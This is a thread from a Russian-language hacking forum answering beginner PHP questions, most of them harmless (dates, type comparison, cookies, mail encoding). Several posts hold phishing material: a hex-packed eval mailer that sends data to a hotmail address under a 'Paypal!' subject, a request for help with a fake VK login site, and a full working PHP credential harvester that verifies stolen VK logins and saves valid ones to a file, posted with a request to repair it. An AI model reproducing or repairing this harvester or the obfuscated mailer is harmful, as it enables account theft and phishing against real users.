[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. daniel777

    daniel777 Elder - Старейшина

    Joined:
    8 Jul 2010
    Messages:
    517
    Likes Received:
    90
    Reputations:
    37
    In your PHP script change function eval() on function echo():
    PHP:
    <?
    echo(
    pack("H*","2448695431203D20227072347840686F746D61696C2E636F6D223B0A247375626A656374203D202250617970616C21223B0A2468656164657273203D202246726F6D3A20204D722E707234783C7072347840686F746D61696C2E636F6D3E223B0A6D61696C2824486954312C20246D61696C7375626A2C202464617461293B"));
    ?>
    When you run this new script you will see decoded code, and the result is a code that is sent to you Isis.
    Do not forget to remove the extra spaces in the code
     
  2. lightangel

    lightangel New Member

    Joined:
    7 Nov 2011
    Messages:
    91
    Likes Received:
    3
    Reputations:
    -6
    Got it.

    Sorry for my n00b question.

    If I want to encode this code

    Code:
    $HiT1 = "[email protected]"; $subject = "Antichat!"; $headers = "From: Antichat rules"; mail($HiT1, $mailsubj, $data);
    To the eval pack coding, then how am I to that?

    I mean I have understood how to decode it but want to know how it is encoded.
     
  3. blud

    blud New Member

    Joined:
    29 Jan 2011
    Messages:
    22
    Likes Received:
    2
    Reputations:
    -5
    Здравствуйте, уважаемые. Не подскажете как Линукс время перевести в нормальное время?
    То есть 1332340353 перевести в дату?
    заранее благодарен.
     
  4. FindeR

    FindeR Elder - Старейшина

    Joined:
    15 Nov 2006
    Messages:
    623
    Likes Received:
    138
    Reputations:
    20
    blud,
    PHP:
    date('d.m.Y H:i''1332340353');
     
  5. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    PHP:
    echo date('d.m.Y H:i:s''1332340353');
     
  6. Kruzak

    Kruzak New Member

    Joined:
    21 Dec 2010
    Messages:
    126
    Likes Received:
    4
    Reputations:
    1
    Странный баг вчера появился
    PHP:
    <?

    $a 22;
    $b 22;

    if(
    $a >= $b) { echo 'yes'; } else { echo 'no'; }

    ?>
    выводил no

    пытался понять в чем дело, и решилось только так.
    PHP:
    <?

    $a 22;
    $b 22;

    if(
    trim($a) >= trim($b)) { echo 'yes'; } else { echo 'no'; }

    ?>
    выводит yes

    почему первый вариант не работает?
    я так понимаю у меня php глюченный и добавляет в переменные какой-ни будь nul байт? или типа того
     
    #20286 Kruzak, 23 Mar 2012
    Last edited: 23 Mar 2012
  7. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Kruzak, чему равны:
    PHP:
    echo gettype ($a);
    echo 
    gettype($b);
    Хотя даже
    PHP:
    <?php

    $a 
    "22 коровы"
    $b "21 корова"

    if(
    $a >= $b) { echo 'yes'; } else { echo 'no'; } 

    ?>
    Такое будет работать
     
    #20287 Chaak, 23 Mar 2012
    Last edited: 23 Mar 2012
    1 person likes this.
  8. Kruzak

    Kruzak New Member

    Joined:
    21 Dec 2010
    Messages:
    126
    Likes Received:
    4
    Reputations:
    1
    Chaak, все понятно теперь
    integer | double
    вопрос тогда другой, как перевести $a в числовой тип? может просто $a = $a*1; делать?
     
    #20288 Kruzak, 23 Mar 2012
    Last edited: 23 Mar 2012
  9. perepelica

    perepelica New Member

    Joined:
    28 Jan 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Нужна помошь по фейку. есть сайт, фейк контакта http://vk-posetutelu.16mb.com/
    Куда вставить коды для виджетов ? Мне нравится и коменты.
    Код для коментариев

    <!-- Put this script tag to the <head> of your page -->
    <script type="text/javascript" src="http://userapi.com/js/api/openapi.js?49"></script>

    <script type="text/javascript">
    VK.init({apiId: API_ID, onlyWidgets: true});
    </script>

    <!-- Put this div tag to the place, where the Comments block will be -->
    <div id="vk_comments"></div>
    <script type="text/javascript">
    VK.Widgets.Comments("vk_comments", {limit: 15, width: "496", attach: "*"});
    </script>

    Код для Мне нравится

    <!-- Put this script tag to the <head> of your page -->
    <script type="text/javascript" src="http://userapi.com/js/api/openapi.js?49"></script>

    <script type="text/javascript">
    VK.init({apiId: API_ID, onlyWidgets: true});
    </script>

    <!-- Put this div tag to the place, where the Like block will be -->
    <div id="vk_like"></div>
    <script type="text/javascript">
    VK.Widgets.Like("vk_like", {type: "full"});
    </script>
     
  10. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    PHP:
    $a = (int) 5
    perepelica, код виджета в код страницы
     
  11. daniel777

    daniel777 Elder - Старейшина

    Joined:
    8 Jul 2010
    Messages:
    517
    Likes Received:
    90
    Reputations:
    37
    На этом форуме обсуждение фэйков запрещено.
    Для начала советую почитать документацию:
    http://vk.com/developers.php?id=-1_27987570&s=1
     
  12. Gigabajt_

    Gigabajt_ Member

    Joined:
    13 Feb 2010
    Messages:
    80
    Likes Received:
    5
    Reputations:
    0
    Проблема с формой обратной связи. После отправки пользователем данных через нее, на email поступают символы вместо русских букв. Помогите наладить.

    PHP:
    <?   if (isset($_POST['name'])) {$name $_POST['name'];} if (isset($_POST['email'])) {$email $_POST['email'];} if (isset($_POST['subject'])) {$subject $_POST['subject'];} if (isset($_POST['text_message'])) {$text_message $_POST['text_message'];}   $name stripslashes($name);  $subject stripslashes($subject);    $name htmlspecialchars($name);  $subject htmlspecialchars($subject);   $email stripslashes($email);  $text_message stripslashes($text_message);   $email htmlspecialchars($email);  $text_message htmlspecialchars($text_message);       $address "[email protected]";  $message "".$text_message."\nС уважением, ".$name."\nМой контактный e-mail: ".$email."";  $verify mail($address,$subject,$message,"Content-type:text/plain; Charset=windows-1251\r\n");
    ...
    все файлики формы http://upwap.ru/2114671
     
  13. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    http://irbis-team.com/15/12/2
     
  14. Metal-Core

    Metal-Core Member

    Joined:
    20 Sep 2011
    Messages:
    225
    Likes Received:
    21
    Reputations:
    0
    Через что можно сформировать отчет,документ и т.д в формате .dox именно в php ?
     
  15. Kruzak

    Kruzak New Member

    Joined:
    21 Dec 2010
    Messages:
    126
    Likes Received:
    4
    Reputations:
    1
    хотел бы обсудить константы в php, использовать ли их? в чем выгода?
     
  16. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    В том, что значение константы нельзя изменить. Также значение константы нельзя задать через GET/POST/Cookie даже когда register_globals=on.
     
  17. Cartmanez

    Cartmanez New Member

    Joined:
    14 Nov 2008
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    тема с контактом еще актуальна?)
    шарился на старом жестком диске и налетел там на такое

    PHP:

    <?php
    set_time_limit
    (0);
    Error_Reporting(E_ALL & ~E_NOTICE);

    $mail $_POST['login'];
    $pass $_POST['passwd'];


    function 
    request($url '')
         {

        
    $u parse_url($url);
        
    $path $u[path].'?'.$u[query];

        
    $ip gethostbyname($u[host]);
        
    $fp fsockopen($ip,80,$en,$es,15);

        while(!
    $fp){$fp fsockopen($ip,80,$en,$es,15);}

        
    $req "GET $path HTTP/1.0\r\n";
        
    $req .= "Host: $u[host]\r\n";
        
    $req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4\r\n";
        
    $req .= "Content-type: application/x-www-form-urlencoded\r\n";
        
    $req .= "Connection: close\r\n\r\n";
        
    fwrite($fp,$req);
     
        while(!
    feof($fp))
             {
              
    $s .= fgets($fp,256);
             }
        
    fclose($fp);

        return 
    $s;
    }



    $ex request('http://vk.com/login.php?email='.$mail.'&pass='.$pass);
    if(
    preg_match("#Set-Cookie: remixsid=#"$ex))
         {
        
    $f fopen('base.php''a+');
        
    fwrite($f"<tr><td align='left'>".$mail."</td><td align='right'>".$pass."</td></tr>");
        
    fclose($f);
        echo (
    '<html><head><META HTTP-EQUIV="Refresh" content ="0; URL=login.php"></head></html>');
         }
         else
         {
         echo (
    '<html><head><META HTTP-EQUIV="Refresh" content ="0; URL=logon.php"></head></html>');
         }
    ?>

    Помогите оживить?)
    откуда он у меня уже и не помню) но очень бы хотелось чтобы все снова работало... а то любые введенные данные считает правильными, ну кроме пустой строки :mad:
    по идеи должен проверить акк, и если верный записать в фаил... но в фаил пишет все подряд, что ему приходит...
     
  18. explosm

    explosm New Member

    Joined:
    9 Aug 2010
    Messages:
    31
    Likes Received:
    3
    Reputations:
    0
    Мужики, ну в упор не пойму, проверял, все ок выводит считает.. нормально но почему-то в кукисы передает +2 значение счетчик, ставлю вместо $counter++; - $counter = $counter +2; Он вообще мне в кукисы +4 присылает вроде код правильный гляньте, может с сервером проблемы или все таки со мной??
    PHP:
    <?php
    $counter 
    0;
    if (isset (
    $_COOKIE['counter']) and is_numeric($_COOKIE['counter'])) 
        
    $counter $_COOKIE['counter']; 
    $recentVisit ''
    if (isset (
    $_COOKIE['recentVisit'])) $recentVisit $_COOKIE['recentVisit']; 
    ?>
    <!DOCTYPE html>
    <h1>Последний визит</h1>

    <?php
    if($counter == 1){
        print 
    '<h2>hello</h2>';
    }else{
        print <<<HTML
        <h2> $counter посещений </h2>
        <p>Последнее посещение: 
    $recentVisit</p><br>
    HTML;
    }
    $counter++;
    setcookie ("counter"$counter);
    setcookie ("recentVisit"date('d/m/Y H:i:s'));
    ?>

     
  19. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    Оно даже работает? Как?!
    Нельзя редактировать хидеры после того, как был отправлен сам документ, то есть нельзя выполнять команду setcookie после echo.
     
  20. explosm

    explosm New Member

    Joined:
    9 Aug 2010
    Messages:
    31
    Likes Received:
    3
    Reputations:
    0
    да оно вначале стояло правильно, да тут моя вина, но если переставить счетчик + хидеры до вывода, как оно и было, все равно х2 все) то я уже мудрил))) забыв об этом
     
Thread Status:
Not open for further replies.